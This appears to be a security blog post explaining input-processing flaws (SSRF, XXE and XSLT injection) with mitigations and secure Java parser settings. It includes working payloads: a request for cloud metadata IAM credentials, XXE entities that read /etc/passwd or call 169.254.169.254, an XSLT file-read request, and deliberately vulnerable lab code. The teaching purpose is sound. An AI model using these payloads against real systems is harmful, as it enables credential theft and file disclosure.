Blog

Input processing vulnerabilities

Input validation is a frequently-used technique for checking potentially dangerous inputs in order to ensure that the inputs are safe for processing within the code, or when communicating with other components. When software does not validate input properly, an attacker is able to craft the input in a form that is not expected by the rest of the application. This will lead to parts of the system receiving unintended input, which may result in altered control flow, arbitrary control of a resource, or arbitrary code execution.

schedule a call

The core idea behind input processing issues

user input -> decode -> process -> do stuff
              ^    vuln     ^

SSRF

issuing requests is dangerous, and getting responses can be fatal

POST /api/load?url=http://wherever.com HTTP/1.1

non-trivial examples:

  • files with external links being processed
  • loading and caching images or other media
  • webhooks
  • external service interaction

Exploitation

  • IMDSv1:
http://169.254.169.254/latest/meta-data/iam/security-credentials/role-name
  • Header information disclosure/implied authentication:
POST /evil HTTP/1.1
X-Auth: mysupersecrettoken
  • Internal resources

case: signing data

  • data signing API endpoint
  • undocumented; allows loading files from URLs
  • allows embedding the signature in the file
  • allows reading arbitrary GET responses
return sign(load(data), key)

Mitigation

  • validate all input to make sure URLs cannot make it through
  • know which functions of your code implicitly accept URLs
  • WAF

XXE

XML has a lot of functions

DocumentBuilder db = DocumentBuilderFactory.newInstance().newDocumentBuilder();
Document doc = db.parse(input);

VS

DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true);
DocumentBuilder db = dbf.newDocumentBuilder();
Document doc = db.parse(input);

or

DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
DocumentBuilder db = dbf.newDocumentBuilder();
Document doc = db.parse(input);

sidenote: file read exploitation:

<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///etc/passwd"> ]>
<userInfo>
 <firstName>John</firstName>
 <lastName>&ent;</lastName>
</userInfo>

sidenote: SSRF:

<!DOCTYPE test [ <!ENTITY xxe SYSTEM "http://169.254.169.254/"> ]>

Mitigation:

  • use secure XML parsers
  • alternatively, do not use XML; it is the year 2021 after all

XSLT

lab credits: https://github.com/eoftedal/deserialize

POST /api/contacts/1/html HTTP/1.1
Host: localhost
Content-Type: application/xslt
Accept: text/html
Content-Length: 241

<?xml version="1.0" encoding="UTF-8" ?>
<xsl:stylesheet version="2.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
 <xsl:template match="/">
  <xsl:value-of select="unparsed-text('/etc/passwd')"/>
 </xsl:template>
</xsl:stylesheet>

Code example:

@RequestMapping(value = " /{id}/html", method=RequestMethod.POST)
	@ResponseBody
	public final String format(@PathVariable int id, HttpEntity<String> xslt ){
		Contact contact = contactRepository.get(id);
		try {
    	String xml = Formatter.format(contact, xslt.getBody());
			return xml;
		} catch(Exception ex) {
			return ex.getMessage();
		}
	}

public class Formatter {
  public static String format(Contact contact, String xslt) throws Exception {
  	System.out.println(xslt);
		XStream xstream = new XStream();
		xstream.alias("contact", Contact.class);

		Path path = Paths.get("./doc.xslt");
	    Files.write(path, xslt.getBytes());
		TraxSource traxSource = new TraxSource(contact, xstream);
		Writer buffer = new StringWriter();
		Transformer transformer = TransformerFactory.newInstance().newTransformer(
		    new StreamSource(path.toFile()));
		transformer.transform(traxSource, new StreamResult(buffer));
		return buffer.toString();
	}
}

Insecure deserialization

Insecure deserialization is when user-controllable data is deserialised by a website. This potentially enables an attacker to manipulate serialised objects… Read more

JNDI injection

Java Naming and Directory Interface (JNDI) is a Java API that allows clients to discover and look up data and… Read more